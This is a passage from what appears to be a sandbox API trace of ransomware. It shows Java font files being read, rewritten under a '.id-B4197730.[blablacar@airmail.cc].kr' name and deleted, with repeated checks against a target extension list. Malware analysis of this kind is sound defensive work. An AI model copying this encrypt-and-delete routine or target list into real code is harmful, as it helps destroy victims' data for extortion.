(lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0180.327] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 1 [0180.327] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0180.327] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0180.327] lstrlenW (lpString=".doc") returned 4 [0180.327] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0180.327] lstrlenW (lpString=".docx") returned 5 [0180.327] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0180.327] lstrlenW (lpString=".pdf") returned 4 [0180.327] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0180.327] lstrlenW (lpString=".xls") returned 4 [0180.327] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0180.327] lstrlenW (lpString=".xlsx") returned 5 [0180.327] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0180.327] lstrlenW (lpString=".ppt") returned 4 [0180.328] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0180.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0180.328] lstrlenW (lpString=".zip") returned 4 [0180.328] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0180.328] lstrlenW (lpString=".rar") returned 4 [0180.328] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0180.328] lstrlenW (lpString=".bz2") returned 4 [0180.328] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0180.328] lstrlenW (lpString=".7z") returned 3 [0180.328] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0180.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0180.328] lstrlenW (lpString=".dbf") returned 4 [0180.328] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0180.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0180.328] lstrlenW (lpString=".1cd") returned 4 [0180.328] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0180.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0180.328] lstrlenW (lpString=".jpg") returned 4 [0180.328] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0180.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0180.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0180.328] lstrlenW (lpString=".doc") returned 4 [0180.328] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0180.328] lstrlenW (lpString=".docx") returned 5 [0180.328] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0180.328] lstrlenW (lpString=".pdf") returned 4 [0180.328] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0180.328] lstrlenW (lpString=".xls") returned 4 [0180.328] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0180.328] lstrlenW (lpString=".xlsx") returned 5 [0180.328] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0180.328] lstrlenW (lpString=".ppt") returned 4 [0180.328] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0180.329] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0180.329] lstrlenW (lpString=".zip") returned 4 [0180.329] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0180.329] lstrlenW (lpString=".rar") returned 4 [0180.329] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0180.329] lstrlenW (lpString=".bz2") returned 4 [0180.329] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0180.329] lstrlenW (lpString=".7z") returned 3 [0180.329] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0180.329] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0180.329] lstrlenW (lpString=".dbf") returned 4 [0180.329] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0180.329] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0180.329] lstrlenW (lpString=".1cd") returned 4 [0180.329] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0180.329] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0180.329] lstrlenW (lpString=".jpg") returned 4 [0180.329] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0180.329] lstrcmpiW (lpString1=".ttf", lpString2=".kr") returned 1 [0180.329] lstrlenW (lpString="LucidaBrightDemiItalic.ttf") returned 26 [0180.329] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0180.330] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=75124) returned 1 [0180.330] CloseHandle (hObject=0x454) returned 1 [0180.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 0x20 [0180.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0180.330] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0180.330] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0180.330] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0180.330] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460 [0180.331] GetLastError () returned 0x0 [0180.331] ReadFile (in: hFile=0x454, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x12574, lpOverlapped=0x0) returned 1 [0180.335] WriteFile (in: hFile=0x460, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x12580, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x12580, lpOverlapped=0x0) returned 1 [0180.337] ReadFile (in: hFile=0x454, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0180.337] WriteFile (in: hFile=0x460, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x108, lpOverlapped=0x0) returned 1 [0180.337] SetEndOfFile (hFile=0x460) returned 1 [0180.338] CloseHandle (hObject=0x460) returned 1 [0180.340] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0180.340] SetEndOfFile (hFile=0x454) returned 1 [0180.345] CloseHandle (hObject=0x454) returned 1 [0180.345] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0180.346] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 1 [0180.346] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0180.346] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0180.346] lstrlenW (lpString=".doc") returned 4 [0180.346] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0180.347] lstrlenW (lpString=".docx") returned 5 [0180.347] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0180.347] lstrlenW (lpString=".pdf") returned 4 [0180.347] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0180.347] lstrlenW (lpString=".xls") returned 4 [0180.347] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0180.347] lstrlenW (lpString=".xlsx") returned 5 [0180.347] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0180.347] lstrlenW (lpString=".ppt") returned 4 [0180.347] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0180.347] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0180.347] lstrlenW (lpString=".zip") returned 4 [0180.347] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0180.347] lstrlenW (lpString=".rar") returned 4 [0180.347] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0180.347] lstrlenW (lpString=".bz2") returned 4 [0180.347] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0180.347] lstrlenW (lpString=".7z") returned 3 [0180.347] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0180.347] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0180.347] lstrlenW (lpString=".dbf") returned 4 [0180.347] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0180.347] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0180.347] lstrlenW (lpString=".1cd") returned 4 [0180.347] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0180.347] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0180.347] lstrlenW (lpString=".jpg") returned 4 [0180.347] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0180.347] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0180.347] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0180.347] lstrlenW (lpString=".doc") returned 4 [0180.347] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0180.347] lstrlenW (lpString=".docx") returned 5 [0180.348] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0180.348] lstrlenW (lpString=".pdf") returned 4 [0180.348] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0180.348] lstrlenW (lpString=".xls") returned 4 [0180.348] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0180.348] lstrlenW (lpString=".xlsx") returned 5 [0180.348] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0180.348] lstrlenW (lpString=".ppt") returned 4 [0180.348] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0180.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0180.348] lstrlenW (lpString=".zip") returned 4 [0180.348] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0180.348] lstrlenW (lpString=".rar") returned 4 [0180.348] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0180.348] lstrlenW (lpString=".bz2") returned 4 [0180.348] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0180.348] lstrlenW (lpString=".7z") returned 3 [0180.348] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0180.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0180.348] lstrlenW (lpString=".dbf") returned 4 [0180.348] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0180.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0180.348] lstrlenW (lpString=".1cd") returned 4 [0180.348] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0180.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0180.348] lstrlenW (lpString=".jpg") returned 4 [0180.348] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0180.348] lstrcmpiW (lpString1=".ttf", lpString2=".kr") returned 1 [0180.348] lstrlenW (lpString="LucidaBrightItalic.ttf") returned 22 [0180.349] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0180.349] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=80856) returned 1 [0180.349] CloseHandle (hObject=0x454) returned 1 [0180.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 0x20 [0180.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0180.349] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0180.350] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0180.350] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0180.350] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460 [0180.350] GetLastError () returned 0x0 [0180.350] ReadFile (in: hFile=0x454, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x13bd8, lpOverlapped=0x0) returned 1 [0180.503] WriteFile (in: hFile=0x460, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x13be0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x13be0, lpOverlapped=0x0) returned 1 [0180.506] ReadFile (in: hFile=0x454, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0180.506] WriteFile (in: hFile=0x460, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x100, lpOverlapped=0x0) returned 1 [0180.506] SetEndOfFile (hFile=0x460) returned 1 [0180.506] CloseHandle (hObject=0x460) returned 1 [0180.509] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0180.509] SetEndOfFile (hFile=0x454) returned 1 [0180.514] CloseHandle (hObject=0x454) returned 1 [0180.514] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0180.935] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 1 [0180.935] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0180.935] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0180.935] lstrlenW (lpString=".doc") returned 4 [0180.935] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0180.935] lstrlenW (lpString=".docx") returned 5 [0180.935] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0180.935] lstrlenW (lpString=".pdf") returned 4 [0180.936] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0180.936] lstrlenW (lpString=".xls") returned 4 [0180.936] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0180.936] lstrlenW (lpString=".xlsx") returned 5 [0180.936] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0180.936] lstrlenW (lpString=".ppt") returned 4 [0180.936] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0180.936] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0180.936] lstrlenW (lpString=".zip") returned 4 [0180.936] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0180.936] lstrlenW (lpString=".rar") returned 4 [0180.936] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0180.936] lstrlenW (lpString=".bz2") returned 4 [0180.936] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0180.936] lstrlenW (lpString=".7z") returned 3 [0180.936] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0180.936] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0180.936] lstrlenW (lpString=".dbf") returned 4 [0180.936] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0180.936] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0180.936] lstrlenW (lpString=".1cd") returned 4 [0180.936] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0180.936] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0180.936] lstrlenW (lpString=".jpg") returned 4 [0180.936] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0180.936] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0180.936] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0180.936] lstrlenW (lpString=".doc") returned 4 [0180.936] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0180.936] lstrlenW (lpString=".docx") returned 5 [0180.936] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0180.937] lstrlenW (lpString=".pdf") returned 4 [0180.937] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0180.937] lstrlenW (lpString=".xls") returned 4 [0180.937] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0180.937] lstrlenW (lpString=".xlsx") returned 5 [0180.937] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0180.937] lstrlenW (lpString=".ppt") returned 4 [0180.937] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0180.937] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0180.937] lstrlenW (lpString=".zip") returned 4 [0180.937] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0180.937] lstrlenW (lpString=".rar") returned 4 [0180.937] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0180.937] lstrlenW (lpString=".bz2") returned 4 [0180.937] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0180.937] lstrlenW (lpString=".7z") returned 3 [0180.937] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0180.937] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0180.937] lstrlenW (lpString=".dbf") returned 4 [0180.937] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0180.937] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0180.937] lstrlenW (lpString=".1cd") returned 4 [0180.937] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0180.937] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0180.937] lstrlenW (lpString=".jpg") returned 4 [0180.937] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0180.938] lstrcmpiW (lpString1=".ttf", lpString2=".kr") returned 1 [0180.938] lstrlenW (lpString="LucidaTypewriterBold.ttf") returned 24 [0180.938] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460 [0180.938] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=234068) returned 1 [0180.938] CloseHandle (hObject=0x460) returned 1 [0180.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 0x20 [0180.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0180.939] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460 [0180.939] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0180.939] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0180.939] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0180.940] GetLastError () returned 0x0 [0180.940] ReadFile (in: hFile=0x460, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x39254, lpOverlapped=0x0) returned 1 [0180.948] WriteFile (in: hFile=0x45c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x39260, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x39260, lpOverlapped=0x0) returned 1 [0180.953] ReadFile (in: hFile=0x460, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0180.953] WriteFile (in: hFile=0x45c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x104, lpOverlapped=0x0) returned 1 [0180.954] SetEndOfFile (hFile=0x45c) returned 1 [0180.954] CloseHandle (hObject=0x45c) returned 1 [0180.960] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 